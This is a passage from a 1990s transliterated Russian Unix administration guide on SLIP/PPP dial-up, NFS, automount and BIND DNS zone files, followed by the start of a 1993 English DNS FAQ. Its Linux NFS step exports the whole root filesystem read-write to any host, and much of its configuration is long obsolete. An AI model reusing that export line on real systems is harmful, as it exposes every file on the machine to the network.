perevodyashchuyu   porty    v    rezhim  peredachi  protokola  TCP/IP.
Estestvenno, chto SLIP nado zapuskat'  s  oboih  koncov,  prichem
"odinakovyj".

        SVR4, slip

slattach /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 19200 &
  # perevodit port /dev/comport v rezhim "slip" na skorosti 19200
  # i ustanavlivaet IP-adres na slip-interfejs

        SVR4, cslip

slattach -c /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 38400 &
  # perevodit port /dev/comport v rezhim "Compressed-slip"
  # na skorosti 38400
  # i ustanavlivaet IP-adres na C-slip-interfejs

slattach -e /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 38400 &
  # perevodit port v rezhim slip ili cslip,
  # avtomaticheski opredelyaya, kakoj imenno protokol zapushchen
  # "na tom konce", i ustanavlivaet so svoej storony takoj zhe


        Linux, SLIP.


Teper' SLIP v Linux zaryazhaetsya komandoj DIP, s konfiguracionnym fajlom:
/usr/sbin/dip    config-file-name
---------------------------------------------------------------
# pryamoj konnekt nul'modemnym kabelem
main:
  get $local  193.232.171.22
  get $remote 193.232.171.19
  port /dev/modem
  speed 9600
  mode SLIP
  exit
---------------------------------------------------------------
# slip s telefonnoj dozvonkoj
---------------------------------------------------------------
       main:
         get $local   uwalt.hacktic.nl
         get $remote xs4all.hacktic.nl
         port /dev/modem
         speed 38400
         send ATQ0V1E1X4\r
         wait OK 2
         dial p555-1234
       login:
         sleep 2
         wait ogin: 20
         send MYLOGIN\n
         wait ssword: 20
         send MYPASSWD\n
         # We are now logged in.
         wait SOMETEXT 15
         get $mtu 296
         # Ensure "route add -net default xs4all.hacktic.nl" will be done
         default
         mode SLIP
---------------------------------------------------------------


  Na oboih koncah imet' simmetrichnye fajly i zapustit' dip'y

        Linux, CSLIP.

# sperva perevodim port v rezhim "cslip"
slattach -p cslip /dev/modem &
ifconfig cs0 NASH-IP-ADRES  pointopoint  IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES

        Linux, PLIP.

ifconfig plip1 NASH-IP-ADRES  pointopoint  IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES

        Ustanovka SLIP po telefonnoj linii cherez modem.

Nado zastavit' nash modem sozvonit'sya s "tem" modemom.
Posle  etogo my poluchaem prozrachnoe soedinenie mezhdu
posledovatel'nymi portami, po kotoromu i "podnimaem"
SLIP, sm. predydushchie punkty.

  ( stty 19200 ; echo atdp9120123 ) < /dev/modem > /dev/modem
  sleep 55

Vydaem na modem komandu atdp - nabrat' telefonnyj nomer, i zhdem
55 sekund. Nadeyus', modemam  hvatit etogo vremeni, chtoby  "snyu-
hat'sya".

        Vosstanovlenie svyazi v sluchae obryva.

Kak  uznat', chto svyaz' porvalas'? Ping'anut' "tot" konec linka.
Prezhde,  chem  nabirat'  modemom  nomer  dlya   novoj   dozvonki,
neobhodimo   "snyat'"  slip  s  nashego  posledovatel'nogo  porta
(poskol'ku   v   rezhime   slip   on   funkcioniruet   ne    kak
posledovatel'nyj  port, a kak kanal peredachi TCP/IP). Kak snyat'
slip? Kil'nut' slattach.

while true   # V vechnom cikle
do sleep 60  # Podozhdat' minutku

  if  ping 107.65.8.254 | grep 'is alive' ;
    then   echo Ok > /dev/null   # Esli IH-IP-ADRES otzyvaetsya
    else
         # Inache zarubaem slattach
         slip_pid=`ps -ef | grep slattach | cut -c1-6`
         kill -9 $slip_pid
         # nabiraem tamoshnij telefonnyj nomer
        (stty 19200; echo atdp9120123) < /dev/modem > /dev/modem
         sleep 55
         # podnimaem slattach
         slattach -e /dev/modem  195.8.2.3  107.65.8.254 19200 &
  fi
done

        &dD * PPP * &d@

        &dDMOTOROLA: PPP&d@

/etc/inet/ppphosts - perechislyaet ppp-hosty

     Pravila  dozvonki i soedineniya s etimi hostami opisyvayutsya
standartnymi opisaniyami iz UUCP

     Ubedit'sya,    chto    podderzhka    ppp    prisutstvuet    v
konfiguracionnom fajle /etc/strcf

     Ubedit'sya,    chto    pri zagruzke zapuskaetsya komanda slink

        Neposredstvennoe   ppp-soedinenie   aktiviziruetsya  pri
obrashchenii ("po trebovaniyu").

    Podrobnosti iskat' v

    man ppp
    man pppd
    man ppphosts

        &dDLinux&d@

     Vse   delaetsya  komandoj  pppd.  V  komplekt  pppd  vhodit
komandochka chat,  v  argumentah  zhe  pppd  zadayutsya  IP-adresa,
telefonnye  nomera,  inicializaciya  modema,  chat-ovyj dialog s
mashinoj provajdera.

Primer: (Pochti iz zhizni) yavno zadaem nash IP=123.456.789.12

pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
              atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
    crtscts defaultroute modem noipdefault -detach mru 1500 \
    123.456.789.12:194.85.105.1 /dev/modem 38400

Primer: vzyat' adresa zadannye serverom

pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
              atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
    crtscts defaultroute modem noipdefault -detach mru 1500 \
    0.0.0.0: /dev/modem 38400

        &dDWindows 95&d@

Postavit'  dopoolnitel'nyj  paket  iz MS Plus - "Network dialup
script editor"

Podklyuchit' cherez nego skript:
---------------------------------------------------------------
proc main

   waitfor "login:" until 5
   transmit $USERID, raw
   transmit "^M"

   waitfor "Password:"
   transmit "password^M"

   waitfor "modem" until 5
endproc
---------------------------------------------------------------

V  zvonil'noj forme vpisat' logname, password ne vpisyvat', ibo
vse ravno on zabyvaetsya pri kazhdom perezapuske.

        &dDHP-UX 10.20&d@

Na rabochih stanciyah pod HP-UX/10.20 rodnogo ppp NET. Tol'ko slip.
Mozhno sftpit' free-varnyj paket iij-ppp
http://www.verinet.com/~barthold/ftp/iij-ppp0.94beta2.hpux10.tar.gz
Dokumentaciya po konfiguracii i installyacii prilagaetsya k paketu.

Na  serverah  i  rabochih stanciyah SLIP nazvan "ppl" i vklyuchen v
standartnyj paket "LAN/9000 Link" product.
.
        &dDSetevaya fajlovaya sistema NFS&d@

            - Network File System.

Standartnoj  setevoj fajlovoj sistemoj dlya UNIX'a yavlyaetsya NFS.
Lyubaya Unix-mashina umeet montirovat' po protokolu NFS  udalennye
fajlovye  sistemy i ispol'zovat' ih kak svoi sobstvennye, a tak
zhe mozhet vydelyat' svoi katalogi dlya drugih mashin. Vyglyadit  eto
primerno tak:

   mount -F nfs udalennaq.mashina:/katalog_tam  /katalog

ili, esli u vas BSD ili Linux

   mount -o rsize=8192,wsize=8192 mashina:/katalog_tam  /katalog

   ls -al /katalog

Hotya NFS byl kogda-to razrabotan dlya Unix'a, imeetsya realizaciya
NFS dlya MSDOS-ovskih PC. |ti pakety  prinyato  nazyvat'  svodnym
imenem  PC/NFS (Ne putat' s nazvaniem "PC-NFS" - eto realizaciya
PC/NFS ot firmy "Sun Select"). T.e. PC'yuk, na  kotorom  zapushchen
NFS  dlya  PC,  mozhet  montirovat'  v  kachestve  setevyh  diskov
katalogi Unix'ovskoj mashiny, kotorye  ona  vydelyaet  v  NFS.  -
Fakticheski,  PC/NFS  daet dlya PC te zhe samye vozmozhnosti, chto i
Netware - udalennyj setevoj disk i udalennyj  setevoj  printer.
Raznica  lish'  v tom, chto Unix-host, pomimo pozvoleniya NFS-eniya
sebya, v sostoyanii zanimat'sya i svoimi sobstvennymi zadachami,  a
server   Netware   nichem  krome  obsluzhivaniya  svoih  klientov,
izobrazhaya  dlya  nih   disk   s   ethernet'om,   zanimat'sya   ne
prisposoblen,  no  rabotaet bystree raza v 1.5-2. Nu i zanimayut
NFS-nye rezidenty poryadka 100 Kb operativnoj pamyati, v to vremya
kak Netwar'nye - poryadka 50.

        &dD2.&d@ Ocenochnye skorosti paketov PC/NFS razlichnyh proizvo-
ditelej: 486dx2/66, adapter wd8013 16 bit:

Paket:         chtenie Kb/sek   zapis'
      NFS for PC
PC-NFS 4.0      220             120
PC-NFS 5.0(**)  220             120
Pathway         350             170
PCTCP 3.0       350             200
TSOFT (*)       200             100
XFS   (*)       500              50
Chameleon NFS(**) 2-e mesto po rezul'tatam testov
      Unix for PC
Linux/NFS(*)    400             350
FreeBSD/NFS(*)  900             300
Unixware/NFS    400             300
      Prochie
Netware 3.11    500             600
NW Lite         400             500
WFW (Samba)     150             150
Lantastic       ?               ?

        (*)  - uslovno-besplatnye ili besplatnye pakety
        (**) - zashchishchen ot nelicenzirovannogo kopirovaniya

Dlya sravneniya: skorost' chteniya/zapisi NFS mezhdu dvumya
 SUN SPARCstation i/ili IBM/RS6000   900/400 Kb/sek

        &dD3. Dlya togo, chtoby Unix-mashina sluzhila NFS serverom&d@

Na  nej  dolzhny  byt' zapushcheny sleduyushchie demony:

rpc.portmap     - demon portov RPC (Remote Procedure Call)
                  (poskol'ku NFS ispol'zuet RPC)
                  (Na Motorole ne trebuetsya.)

mountd          - obsluzhivanie komand montirovaniya (on reshaet -
                  razreshit'/ ne razreshit')

nfsd            - neposredstvennoe obsluzhivanie protokola NFS

biod            - keshirovanie NFS-chtenij na kliente
                  (tol'ko v SunOS)

pcnfsd          - provodit dopolnitel'nuyu "avtorizaciyu" pol'zo-
                  vatelej  na  PC/NFS klientah. Poskol'ku MSDOS
                  ne zanimaetsya uchetom i registraciej pol'zova-
                  telya,  pcnfsd  sam  sprashivaet  u   PC-ishnogo
                  user'a ego imya i parol'.
                  (ne obyazatelen, no zhelatelen)

Obychno vse eti  demony zapuskayutsya na urovne vypolneniya 3. Pos-
motrite, s bol'shoj  veroyatnost'yu  vy obnaruzhite na svoej mashine
fajl s nazvaniem napodobie:

  /etc/rc3.d/S22nfs - prednaznachen dlya zapuska NFS-servera

Dolzhno byt'  ukazano,  kakie  imenno katalogi, razreshaetsya "vi-
det'" po NFS, i kakim imenno mashinam eto razreshaetsya.

|ti katalogi ukazyvayutsya v fajle

/etc/dfs/dfstab         i    eksportiruyutsya    yavnoj   komandoj
shareall ili share (esli u vas SVR4)

    ili v fajle
/etc/exports      i eksportiruyutsya yavno komandoj
exportfs -a     (esli u vas kakoj libo drugoj UNIX)

        &dD4.&d@ Aktivizaciya NFS.

Obychno, na mashine  so  svezheustanovlennym Unix'om NFS server ne
aktivizirovan. CHtoby on  zapustilsya,  sistemnyj   administrator
dolzhen obespechit' vypolnenie uslovij perechislennyh v predydushchem
punkte. Dlya etogo dostatochno:

        &dDMotorola 922&d@

Posle zagruzki perehodit' na uroven' vypolneniya 3.
V fajle /etc/inittab ispravit' stroku

is:2:initdefault:
        na stroku
is:3:initdefault:

Zapuskat' pcnfsd - demona "avtorizacii" PCNFS'nyh pol'zovatelej
V fajl /etc/rc3.d/S22nfs vstavit' komandu zapuska demona:

        /usr/lib/nfs/pcnfsd

Iz  menyu   sysadm   v   network_services   /   remote_files   /
local_recources / share  / nfs zadat' katalogi, kotorye vy raz-
reshaete "razdavat'" po NFS. Naprimer, proeksportirujte  katalog
/home

CHtoby  ispravleniya  v /etc/inittab podejstvovali, perezagruzite
unix komandoj

    shutdown -y -g0 -i6

        &dDLinux&d@

V fajle /etc/rc.d/rc.inet2 raskommentirujte stroki, zapuskayushchie
demonov
        rpc.portmap
        rpc.nfsd
        rpc.mountd
        rpc.ugidd

V fajl /etc/exports vstav'te stroku
/ (rw)

Perezagruzites'

        &dDSun Solaris 1.1&d@.

V fajl /etc/exports vstav'te stroki...

  /home
  /usr

Perezagruzites'

        &dDSun Solaris 2.3&d@.

V fajle /etc/dfs/dfstab vstav'te stroki dlya eksportiruemyh faj-
lovyh sistem. (Format ukazan v kommentariyah v etom fajle)

Perezagruzites'

        &dD5.&d@ ESHCHE ODNA SETEVAYA FAJLOVAYA SISTEMA. RFS. DFS.

RFS - Remote File Sharing. Tozhe setevaya fajlovaya sistema. NFS -
porozhdenie  BSD Unix'a, RFS - System V Unix'a. Naznachenie takoe
zhe, kak i u NFS. Kakih libo preimushchestv po sravneniyu s  NFS  ne
imeet. YArko vyrazhennyh nedostatkov, pozhaluj, tozhe.  Znachitel'no
menee rasprostranena, chem NFS. Ne imeet automounter'a. Klientov
RFS for MSDOS PC net. Zato RFS podderzhivaet zahvat i blokirovku
fajlov, i special'nye fajly. Aktivizirovat' RFS  vryad li  imeet
smysl. Dejstvitel'no, zachem nam vtoroj General'nyj sekretar'?

DFS  -  Distributed File System. Tozhe setevaya fajlovaya sistema.
Vot i vse, chto ya mogu pro nee skazat'.
.
        &dDKonfigurirovanie automount-demona&d@

Avto-montirovshchik  -   demon,  zapushchennyj  na  NFS-kliente. |tot
demon montiruet  udalennye  katalogi "PO  TREBOVANIYU"  -  t.e.,
kogda    k  nim  proishodit  obrashchenie.  Esli  k  avtomaticheski
smontirovannomu   katalogu    dolgo    ne    bylo    obrashchenij,
avtomontirovshchik  ego avtomaticheski otmontiruet.

Avto-montirovanie podderzhivaetsya demonom automountd. |tot demon
zapuskaetsya   pri  nachal'noj  zagruzke   operacionnoj  sistemy.
Zapuskaetsya on v komandnom fajle

    /etc/rc2.d/S20nfs.client

     automountd          #  esli vse karty budut brat'sya iz NIS
       ili
     automountd -m -f /etc/auto.master   # brat' tol'ko lokal'nye
                                         # karty

Upravlyaetsya automountd neskol'kimi "kartami" - fajlami s opisa-
niem kogo i kuda nado  montirovat'.  V  prostejshem sluchae nuzhno
imet' tri fajla:

/etc/auto_master     - golovnoj konfiguracionnyj fajl

               Ssylaetsya na:
/etc/auto_direct     - ukazyvaet, kakie katalogi kuda montirovat'

/etc/auto_home       - zadaet pravila montirovaniya domashnih
                       katalogov pol'zovatelej, raspolozhennyh na
                       udalennyh mashinah.

/etc/auto_master :---------------------------------------------
#
# Master map for automounter
#
/net        -hosts
# zadaet: kornevoj katalog komp'yutera po imeni imyarek montiro-
# vat' na katalog       /net/imyarek
#
/-          /etc/auto_direct
/home       /etc/auto_home


/etc/auto_direct :---------------------------------------------
#
#
/usr/informix    -ro,soft    classic00:/usr/informix
/usr/local       -rw,soft    classic00:/usr/local
#
#      Smontirovat' s pervogo otkliknuvshegosya servera.
#
/usr/share/man   -ro,soft    classic00:/usr/share/man \
                 -ro,soft    sun21:/usr/share/man \
                 -ro,soft    sun22:/usr/share/man


/etc/auto_home :---------------------------------------------
moshkow           s08:/udd/moshkow
leo               classic00:/export/home/leo
# a luchshe napisat' tak:
*                 classic00:/export/home/&
*                 sun21:/export/home/&

Kazhdyj pol'zovatel' polxzowatelx na etoj mashine dolzhen byt' za-
regestrirovan s domashnim katalogom /home/polxzowatelx
.
        &dDDNS - Domain Name Service&d@

        &dDKonfigurirovanie DNS-klienta&d@

&dDUkazyvaem nash dns-server&d@

/etc/resolv.conf :
search          moshkow.pp.ru sosed.msk.ru
nameserver      127.0.0.1
;nameserver     194.8.2.1

&dDPoryadok prosmotra informacii o imenah hostov zadaetsya v &d@

/etc/host.conf     :           (Linux, BSD)
order bind, hosts, nis
multi on

/etc/nsswitch.conf :           (V Solaris, HP-UX)
. . .
hosts:  files bind nis
. . .

&dDImya domena nashego hosta&d@    (Ne vsegda, no chasto)
/etc/defaultdomain :
moshkow.pp.ru

        &dDKak posmotret' zony DNS&d@

 nslookup -ty=ns  msk.ru
 zzz=msk.ru ; named-xfer -z $zzz -f filename ns.$zzz
 egrep '^[a-z]' filename | egrep -v A | grep NS| cut -f1 | sort -u| wc

ili shodit' v RIPE:

ftp://ftp.ripe.net/ripe/hostcount
ftp://ftp.ripe.net/ripe/dbase

  &dDRezul'tat na fevral' 1997:&d@

ru     1400
msk.ru  217
spb.ru  490
ras.ru  20
msu.su  19
rssi.ru 42

        &dD * Konfigurirovanie DNS-servera * &d@

     Dlya etogo nuzhno sozdat' nachal'nyj konfig-fajl named.boot i
v kataloge /var/named slozhit' fajly s opisaniem nashih zon

        &dDPrimer zapolneniya fajlov&d@

Moya zona         moshkow.pp.ru
delegiruetsya iz          pp.ru  (a znachit - v RIPN)
Revers-zona      173.233.193.in-addr.arpa
delegiruetsya u hozyaina zony 233.193.in-addr.arpa (a znachit - v RIPN)

/etc/named.boot          ; config-fajl vashego DNS
/var/named/moshkow.pp.ru ; opisanie vashej zony
/var/named/193.233.173.0 ; opisanie revers-dns dlya toj zhe zony
/var/named/root.cache    ; nuzhno imet'. U vseh standartnyj
/var/named/127.0.0.1     ; nuzhno imet'. U vseh standartnyj

     Esli  vasha  lokal'naya  set'  ne podklyuchena k Internet, vse
ravno polezno imet' v nej DNS server dlya vnutrennih nuzhd.  CHtob
on  ne porozhdal 1.5 minutnyh tajmautov pri obrashchenii k zavedomo
"vneshnim"   nedostizhimym   hostam,   prosto    sdelajte    fajl
/var/named/root.cache pustym.

        Zavedennye   vami  dns  zony  nado  zaregistrirovat'  v
"vyshestoyashchej"   zone,   chtob   oni   delegirovali    ee    vam.
Revers-dns'nuyu    zonu   tozhe   neobhodimo   registrirovat'   -
delegirovat' vam ee obyazan tot, kto vydal vashi IP-adresa.


/var/named/moshkow.pp.ru: ========================
@               IN      SOA     ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
        1997093001 ; serial
	28800  ;8  Refresh kak chasto secondary proveryaet obnovleniya
	7200   ;2  Retry kak chasto secondary tykaetsya posle "neprohoda"
	6048000;70d Expire  skol'ko zapis' zhivet na secondary
	864000);10d Minimum skol'ko zapis' zhivet v keshe
                IN NS   ns.moshkow.pp.ru.
                IN NS   nss.ras.ru.
                IN MX 10        mail.moshkow.pp.ru.
                IN MX 50        mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ns      IN A    193.233.173.111
nss     IN A    193.233.172.8
proxy   CNAME   t111
mail    CNAME   t111
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
t01     IN A    193.233.173.1
t02     IN A    193.233.173.2
 . . .
t254    IN A    193.233.173.254
t255    IN A    193.233.173.255

/var/named/193.233.173.0 : ========================
@               IN      SOA     ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
                        1997093001 ; serial
                        28800      ; refresh ( 8 hours)
                        7200       ; retry   ( 2 hours)
                        6048000    ; expire  (70 days )
                        864000 )   ; minimum (10 days  )
                IN NS   ns.moshkow.pp.ru.
                IN NS   nss.ras.ru.
                IN MX 10        mail.moshkow.pp.ru.
                IN MX 50        mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
1               IN PTR  t01.moshkow.pp.ru.
2               IN PTR  t02.moshkow.pp.ru.
 . . .
255             IN PTR  t255.moshkow.pp.ru.

/var/named/root.cache -----------------------------------------
; ftp://ftp.rs.internic.net/domain/named.root
;
.                        3600000  IN  NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     198.41.0.4
.                        3600000      NS    B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET.      3600000      A     128.9.0.107
.                        3600000      NS    C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET.      3600000      A     192.33.4.12
.                        3600000      NS    D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET.      3600000      A     128.8.10.90
.                        3600000      NS    E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET.      3600000      A     192.203.230.10
.                        3600000      NS    F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET.      3600000      A     192.5.5.241
.                        3600000      NS    G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET.      3600000      A     192.112.36.4
.                        3600000      NS    H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET.      3600000      A     128.63.2.53
.                        3600000      NS    I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET.      3600000      A     192.36.148.17

/var/named/127.0.0.0 --------------------------
@               IN      SOA   localhost.  root.localhost. (
                        1997071201      ; Serial
                        36000           ; Refresh
                        3600            ; Retry
                        3600000         ; Expire
                        36000 )         ; Minimun
        IN      NS      localhost.
1       IN      PTR     localhost.

=========== I NAKONEC /etc/named.boot
directory                               /var/named      ;
cache   .                               root.cache      ;
primary 0.0.127.in-addr.arpa            127.0.0.0       ;
; forwarders 193.124.148.65 193.124.23.4
primary moshkow.pp.ru                    moshkow.pp.ru  ;
primary 173.233.193.in-addr.arpa        193.233.173.0   ;
; secondary  moshkow.orc.ru  193.124.148.81  second/moshkow.orc.ru

        &dDDopolnitel'naya informaciya&d@

$INCLUDE /var/named/header
@
$INCLUDE /var/named/fedfond-hosts-spisok
@

&dDPoyasneniya:&d@

&dDPervaya stroka soderzhit: &d@

     imya zony s obyazatel'noj tochkoj v konce
     predopredelennye polya IN i SOA
     imya  servera,  na kotorom soderzhitsya zavedomo pravil'naya
     informaciya o zone, s
     obyazatel'noj tochkoj na konce. Pri neobhodimosti razmeshcheniya vtorichnyh
     serverov my budem brat' informaciyu o zone imenno s etogo servera.
     pochtovyj  adres otvetstvennogo za server, v kotorom znak @
     zamenen na . a esli
     trebuetsya ispol'zovat' . v levoj chasti adresa, ona dolzhna
     byt' prefiksirovana
     dvumya znakami \ Imenno po etomu adresu budet otpravleno soobshchenie v sluchae
     uspeshnogo delegirovaniya zony. Adres v privedennom primere budet vyglyadet'
     kak
     andrei.arkhipov@elvis.ru
     otkryvayushchaya kruglaya skobka

Na sleduyushchih 5 strokah opisyvayutsya vazhnye dlya zony parametry:

&dDSerial&d@

Opredelyaet  poryadkovyj  nomer  redakcii fajla s opisaniem zony.
|to chislo dolzhno  izmenyat'sya  tol'ko  v  storonu  uvelicheniya  i
izmenyat'sya  ono  dolzhno  pri  kazhdom  vnesenii izmeneniya v fajl
opisaniya zony. Rekomenduemyj format:

&dDYYYYMMDDNN&d@

gde  YYYY  -  god, MM - mesyac, DD - den', NN - poryadkovyj nomer
vneseniya izmeneniya v ukazannyj den'.

&dDRefresh&d@

Kazhdye "refresh" sekund vtorichnye servera proveryayut osnovnoj na
predmet uvelicheniya znacheniya  "serial",  i  esli  eto  proizoshlo
obnovlyayut  u  sebya  zonu.  Rekomenduemoe  znachenie:  86400, chto
sostavlyaet 24 chasa.

&dDRetry&d@

Esli   osnovnoj   server   byl   nedostupen,   vtorichnyj  budet
proizvodit'   povtornye   popytki   kazhdye   "retry"    sekund.
Rekomenduemoe znachenie: 7200, chto sostavlyaet 2 chasa.

&dDExpire&d@

Esli  v  techenie  "expire"  sekund  vtorichnyj  server  ne  smog
soedinit'sya s osnovnym i obnovit' informaciyu o zone, on schitaet
sebya nesposobnym davat' otvety na zaprosy o zone. Rekomenduemoe
znachenie: 2592000, chto sostavlyaet 30 sutok.

&dDMinimum TTL&d@

Znachenie  po  umolchaniyu  dlya vremeni, v techenie kotorogo server
derzhit zapis' v  keshe.   Rekomenduemoe  znachenie:  345600,  chto
sostavlyaet 4 sutok.

Dalee idet opisanie vseh serverov zony, prichem server ukazannyj
v   pervoj   stroke   (v   zapisi   SOA)   obyazatel'no   dolzhen
prisutstvovat'  v  etom  spiske,  a  esli neobhodimo razmeshchenie
vtorichnyh  serverov  na  mashih  AO  Relkom   (ns.spb.su   i/ili
ns.ussr.eu.net),  to  i  oni  dolzhny prisutstvovat' v spiske, a
takzhe v zayavke.

V  privedennom  primere  utverzhdaetsya, chto zona prisutstvuet na
serverah ns.elvis.ru  i  ns2.elvis.ru  i  trebuetsya  razmeshchenie
vtorichnyh serverov na ns.spb.su i ns.ussr.eu.net

Obratite vnimanie, chto vse imena serverov zakanchivayutsya tochkoj.

===================================== EOF ===========================

[ Article crossposted from comp.protocols.tcp-ip.domains ]
[ Author was Craig Richmond - division (craig@ecel.uwa.edu.au) ]
[ Posted on 3 Aug 1993 10:53:51 GMT ]


                Setting up a basic DNS server for a domain
                            Revision 1.1.1

                            Craig Richmond
                         craig@ecel.uwa.edu.au
                            3rd August 1993


About this document

I have written this file because it seems that the same questions seem to
pop up time and time again and when I had to install DNS from scratch the
first time, we found very little to help us.

This document covers setting up a Domain Name Server with authority over
your domain and using a few of the more useful but less well known
(hopefully this document will take care of that) features of nslookup to
get information about the DNS and to work out why yours isn't working.

If you are using a Sun Workstation and you want to make NIS interact with
the DNS, then this is not the FAQ for you (but it may well be when you try
to set up the DNS).  Mark J. McIntosh  points
out that it is included in the comp.sys.sun.admin FAQ and for the benefit
of those of you who can't get that (it is posted in comp.sys.sun.admin,
comp.sys.sun.misc, comp.unix.solaris, comp.answers and news.answers) I have
included the relevant parts at the bottom in appendix C.

Contents:

   Contents
   An Overview of the DNS
   Installing the DNS
    *The Boot File
    *The Cache File
    *The Forward Mapping File
    *The Reverse Mapping File
   Delegating authority for domains within your domain
   Troubleshooting your named
    *Named doesn't work!  What is wrong?
    *I changed my named database and my local machine has noticed,
     but nobody else has the new information?
    *My local machine knows about all the name server information,
     but no other sites know about me?
    *My forward domain names work, but the backward names do not?
   How to get useful information from nslookup
    *Getting number to name mappings.
    *Finding where mail goes when a machine has no IP number.
    *Getting a list of machines in a domain from nslookup.
   Appendicies
    *Appendix A  sample root.cache file
    *Appendix B  Excerpt from RFC 1340 - Assigned Numbers - July 1992
    *Appendix C  Installing DNS on a Sun when running NIS


An Overview of the DNS:

The Domain Name System is the software that lets you have name to number
mappings on your computers.  The name decel.ecel.uwa.edu.au is the number
130.95.4.2 and vice versa.  This is achieved through the DNS.  The DNS is a
heirarchy.  There are a small number of root domain name servers that are
responsible for tracking the top level domains and who is under them.  The
root domain servers between them know about all the people who have name
servers that are authoritive for domains under the root.

Being authoritive means that if a server is asked about something in that
domain, it can say with no ambiguity whether or not a given piece of
information is true.  For example.  We have domains x.z and y.z.  There are
by definition authoritive name servers for both of these domains and we
shall assume that the name server in both of these cases is a machine
called nic.x.z and nic.y.z but that really makes no difference.

If someone asks nic.x.z whether there is a machine called a.x.z, then
nic.x.z can authoritively say, yes or no because it is the authoritive name
server for that domain.  If someone asks nic.x.z whether there is a machine
called a.y.z then nic.x.z asks nic.y.z whether such a machine exists (and
caches this for future requests).  It asks nic.y.z because nic.y.z is the
authoritive name server for the domain y.z.  The information about
authoritive name servers is stored in the DNS itself and as long as you
have a pointer to a name server who is more knowledgable than yourself then
you are set.

When a change is made, it propogates slowly out through the internet to
eventually reach all machines.  The following was supplied by Mark Andrews
Mark.Andrews@syd.dms.csiro.au.

        If both the primary and all secondaries are up and talking when
        a zone update occurs and for the refresh period after the
        update the old data will live for max(refresh + mininum)
        average (refresh/2 +mininum) for the zone. New information will
        be available from all servers after refresh.

So with a refresh of 3 hours and a minimum of a day, you can expect
everything to be working a day after it is changed.  If you have a longer
minimum, it may take a couple of days before things return to normal.

There is also a difference between a zone and a domain.  The domain is the
entire set of machines that are contained within an organisational domain
name.  For example, the domain uwa.edu.au contains all the machines at the
University of Western Australia.  A Zone is the area of the DNS for which a
server is responsible.  The University of Western Australia is a large
organisation and trying to track all changes to machines at a central
location would be difficult.  The authoritive name server for the zone
uwa.edu.au delegates the authority for the zone ecel.uwa.edu.au to
decel.ecel.uwa.edu.au.  Machine foo.ecel.uwa.edu.au is in the zone that
decel is authoritive for.  Machine bar.uwa.edu.au is in the zone that
uniwa.uwa.edu.au is authoritive for.

Installing the DNS:

First I'll assume you already have a copy of the Domain Name Server
software.  It is probably called named or in.named depending on your
flavour of unix.  I never had to get a copy, but if anyone thinks that
information should be here then by all means tell me and I'll put it in.
If you intend on using the package called Bind, then you should be sure
that you get version 4.9, which is the most recent version at this point in
time.

The Boot File:

First step is to create the file named.boot.  This describes to named
(we'll dispense with the in.named.  Take them to be the same) where the
information that it requires can be found.  This file is normally found in
/etc/named.boot and I personally tend to leave it there because then I know
where to find it.  If you don't want to leave it there but place it in a
directory with the rest of your named files, then there is usually an
option on named to specify the location of the boot file.

Your typical boot file will look like this if you are an unimportant leaf
node and there are other name servers at your site.

directory	/etc/namedfiles

cache		.	       				root.cache
primary		ecel.uwa.edu.au				ecel.uwa.domain
primary		0.0.127.in-addr.arpa			0.0.127.domain
primary		4.95.130.in-addr.arpa			4.95.130.domain
forwarders      130.95.128.1

Here is an alternative layout used by Christophe Wolfhugel
  He finds this easier because of
the large number of domains he has.  The structure is essentially the same,
but the file names use the domain name rather than the IP subnet to
describe the contents.

directory       /usr/local/etc/bind
cache     .                      p/root
forwarders      134.214.100.1 192.93.2.4
;
; Primary servers
;
primary   fr.net                        p/fr.net
primary   frmug.fr.net                  p/frmug.fr.net
primary   127.in-addr.arpa              p/127
;
; Secondary servers
;
secondary ensta.fr                 147.250.1.1     s/ensta.fr
secondary gatelink.fr.net          134.214.100.1   s/gatelink.fr.net
secondary insa-lyon.fr             134.214.100.1   s/insa-lyon.fr
secondary loesje.org               145.18.226.21   s/loesje.org
secondary nl.loesje.org            145.18.226.21   s/nl.loesje.org
secondary pcl.ac.uk                161.74.160.5    s/pcl.ac.uk
secondary univ-lyon1.fr            134.214.100.1   s/univ-lyon1.fr
secondary wmin.ac.uk               161.74.160.5    s/wmin.ac.uk
secondary westminster.ac.uk        161.74.160.5    s/westminster.ac.uk
;
;
; Secondary for addresses
;
secondary 74.161.in-addr.arpa      161.74.160.5    s/161.74
secondary 214.134.in-addr.arpa     134.214.100.1   s/134.214
secondary 250.147.in-addr.arpa     147.250.1.1     s/147.250
;
; Classes C
;
secondary 56.44.192.in-addr.arpa   147.250.1.1     s/192.44.56
secondary 57.44.192.in-addr.arpa   147.250.1.1     s/192.44.57

The lines in the named.boot file have the following meanings.

directory

This is the path that named will place in front of all file names
referenced from here on.  If no directory is specified, it looks for files
relative to /etc.

cache

This is the information that named uses to get started.  Named must know
the IP number of some other name servers at least to get started.
Information in the cache is treated differently depending on your version
of named.  Some versions of named use the information included in the cache
permenantly and others retain but ignore the cache information once up and
running.

primary

This is one of the domains for which this machine is authorative for.  You
